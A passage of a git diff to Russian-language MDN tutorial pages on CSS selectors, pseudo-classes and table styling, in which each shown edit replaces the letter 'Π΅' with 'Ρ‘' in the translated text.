-<p>Π‘ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ использованиСм этих псСвдоэлСмСнтов являСтся вставка Π·Π½Π°Ρ‡ΠΊΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ малСнькой стрСлки, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠΉ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, которая являСтся Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΌ, Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΌ для зачитывания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <span class="extended-text__full">экранного Π΄ΠΈΠΊΡ‚ΠΎΡ€</span>Π°:</p>
+<p>Π‘ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ использованиСм этих псСвдоэлСмСнтов являСтся вставка Π·Π½Π°Ρ‡ΠΊΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ малСнькой стрСлки, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠΉ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, которая являСтся Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΌ, Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΌ для зачитывания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <span class="extended-text__full">экранного Π΄ΠΈΠΊΡ‚ΠΎΡ€</span>Π°:</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p>
@@ -137,7 +137,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
<tbody>
<tr>
<td>{{ Cssxref(":active") }}</td>
- <td>ΠŸΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‰Π΅Π»ΠΊΠ°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒΡŽ) элСмСнт.</td>
+ <td>ΠŸΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‰Ρ‘Π»ΠΊΠ°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒΡŽ) элСмСнт.</td>
</tr>
<tr>
<td>{{ Cssxref(":any-link") }}</td>
@@ -185,7 +185,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
</tr>
<tr>
<td>{{ Cssxref(":first-of-type") }}</td>
- <td>БоотвСтствуСт элСмСнту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° срСди Π΄Ρ€ΡƒΠ³ΠΈΡ… Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°.</td>
+ <td>БоотвСтствуСт элСмСнту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° срСди Π΄Ρ€ΡƒΠ³ΠΈΡ… Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°.</td>
</tr>
<tr>
<td>{{ Cssxref(":focus") }}</td>
@@ -209,7 +209,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
</tr>
<tr>
<td>{{ Cssxref(":indeterminate") }}</td>
- <td>БоотвСтствуСт элСмСнтам ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… находится Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ состоянии, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/checkbox">checkboxes</a>.</td>
+ <td>БоотвСтствуСт элСмСнтам ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… находится Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/checkbox">checkboxes</a>.</td>
</tr>
<tr>
<td>{{ Cssxref(":in-range") }}</td>
@@ -253,19 +253,19 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Pseudo-classes_and_p
</tr>
<tr>
<td>{{ Cssxref(":nth-child") }}</td>
- <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтам 1, 3, 5, 7 ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ числа.)</td>
+ <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтам 1, 3, 5, 7 ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ числа.)</td>
</tr>
<tr>
<td>{{ Cssxref(":nth-of-type") }}</td>
- <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнты &lt;p&gt;) β€” Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтам 1, 3, 5, 7 ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅ числа.)</td>
+ <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнты &lt;p&gt;) β€” Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтам 1, 3, 5, 7 ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅ числа.)</td>
</tr>
<tr>
<td>{{ Cssxref(":nth-last-child") }}</td>
- <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, считая Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π°. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ послСднСму элСмСнту Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π·Π°Ρ‚Π΅ΠΌ Π½Π° Π΄Π²Π° элСмСнта Π΄ΠΎ Π½Π΅Π³ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Π½Π° Π΄Π²Π° элСмСнта Π½Π°Π·Π°Π΄ ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅, считая с ΠΊΠΎΠ½Ρ†Π°.)</td>
+ <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, считая Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π°. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ послСднСму элСмСнту Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π·Π°Ρ‚Π΅ΠΌ Π½Π° Π΄Π²Π° элСмСнта Π΄ΠΎ Π½Π΅Π³ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Π½Π° Π΄Π²Π° элСмСнта Π½Π°Π·Π°Π΄ ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅, считая с ΠΊΠΎΠ½Ρ†Π°.)</td>
</tr>
<tr>
<td>{{ Cssxref(":nth-last-of-type") }}</td>
- <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнты &lt;p&gt;), считая Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π°. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ послСднСму элСмСнту этого Ρ‚ΠΈΠΏΠ° Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π·Π°Ρ‚Π΅ΠΌ Π½Π° Π΄Π²Π° элСмСнта Π΄ΠΎ Π½Π΅Π³ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Π½Π° Π΄Π²Π° элСмСнта Π½Π°Π·Π°Π΄ ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Π΅Ρ‚Π½Ρ‹Π΅, считая с ΠΊΠΎΠ½Ρ†Π°.)</td>
+ <td>БоотвСтствуСт элСмСнтам ΠΈΠ· списка Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнты &lt;p&gt;), считая Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π°. Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Π½Ρ‹ ΠΏΠΎ Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π²ΠΈΠ΄Π° <em>an+b</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 2n + 1 Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ послСднСму элСмСнту этого Ρ‚ΠΈΠΏΠ° Π² ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π·Π°Ρ‚Π΅ΠΌ Π½Π° Π΄Π²Π° элСмСнта Π΄ΠΎ Π½Π΅Π³ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Π½Π° Π΄Π²Π° элСмСнта Π½Π°Π·Π°Π΄ ΠΈ Ρ‚. Π΄. ВсС Π½Π΅Ρ‡Ρ‘Ρ‚Π½Ρ‹Π΅, считая с ΠΊΠΎΠ½Ρ†Π°.)</td>
</tr>
<tr>
<td>{{ Cssxref(":only-child") }}</td>
diff --git a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html
index c110b26aa6..3249acf691 100644
--- a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html
+++ b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html
@@ -38,7 +38,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Type_Class_and_ID_Se
<h2 id="Π£Π½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ_сСлСктор">Π£Π½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор</h2>
-<p>Π£Π½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор обозначаСтся Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠΎΠΉ (<code>*</code>). Он Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всё Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ (ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Ссли ΠΎΠ½ сцСплСн с Π΄Ρ€ΡƒΠ³ΠΈΠΌ элСмСнтом ΠΈ с ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ внСшниС отступы Ρƒ всСх элСмСнтов. НСсмотря Π½Π° ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, β€” ΠΎΠ½Π° Ρ€Π°Π·Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ Π°Π±Π·Π°Ρ†Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ отступов, β€” всё ΠΏΠ»ΠΎΡ‚Π½ΠΎ сТато.</p>
+<p>Π£Π½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор обозначаСтся Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠΎΠΉ (<code>*</code>). Он Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всё Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ (ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Ссли ΠΎΠ½ сцСплСн с Π΄Ρ€ΡƒΠ³ΠΈΠΌ элСмСнтом ΠΈ с ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ внСшниС отступы Ρƒ всСх элСмСнтов. НСсмотря Π½Π° ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡƒΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, β€” ΠΎΠ½Π° Ρ€Π°Π·Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ Π°Π±Π·Π°Ρ†Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ отступов, β€” всё ΠΏΠ»ΠΎΡ‚Π½ΠΎ сТато.</p>
<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p>
diff --git a/files/ru/learn/css/building_blocks/styling_tables/index.html b/files/ru/learn/css/building_blocks/styling_tables/index.html
index 2dafd6f79b..cc6475421b 100644
--- a/files/ru/learn/css/building_blocks/styling_tables/index.html
+++ b/files/ru/learn/css/building_blocks/styling_tables/index.html
@@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Styling_tables
<h2 id="Випичная_HTML_Ρ‚Π°Π±Π»ΠΈΡ†Π°">Випичная HTML Ρ‚Π°Π±Π»ΠΈΡ†Π°</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с рассмотрСния Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠΉ HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Когда ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…Β Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Ρ… HTML Ρ‚Π°Π±Π»ΠΈΡ† ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π΅Ρ‡ΡŒ ΠΈΠ΄Π΅Ρ‚ ΠΎ ΠΎΠ±ΡƒΠ²ΠΈ, ΠΏΠΎΠ³ΠΎΠ΄Π΅ ΠΈΠ»ΠΈ сотрудниках; ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±ΠΎΠ»Π΅Π΅ интСрСсным создав Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΎ Π·Π½Π°ΠΌΠ΅Π½ΠΈΡ‚Ρ‹Ρ… ΠΏΠ°Π½ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°Ρ… Π’Π΅Π»ΠΈΠΊΠΎΠ±Ρ€ΠΈΡ‚Π°Π½ΠΈΠΈ. Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с рассмотрСния Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠΉ HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Когда ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…Β Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Ρ… HTML Ρ‚Π°Π±Π»ΠΈΡ† ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π΅Ρ‡ΡŒ ΠΈΠ΄Ρ‘Ρ‚ ΠΎ ΠΎΠ±ΡƒΠ²ΠΈ, ΠΏΠΎΠ³ΠΎΠ΄Π΅ ΠΈΠ»ΠΈ сотрудниках; ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±ΠΎΠ»Π΅Π΅ интСрСсным создав Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΎ Π·Π½Π°ΠΌΠ΅Π½ΠΈΡ‚Ρ‹Ρ… ΠΏΠ°Π½ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°Ρ… Π’Π΅Π»ΠΈΠΊΠΎΠ±Ρ€ΠΈΡ‚Π°Π½ΠΈΠΈ. Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html">&lt;table&gt;
&lt;caption&gt;A summary of the UK's most famous punk bands&lt;/caption&gt;
@@ -125,12 +125,12 @@ th, td {
<p>НаиболСС Π²Π°ΠΆΠ½Ρ‹Π΅ части ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅:</p>
<ul>
- <li>Бвойство {{cssxref("table-layout")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>fixed</code>Β ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для вашСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, это Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹Β Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ прСдсказуСмым, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ столбцы Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹Β 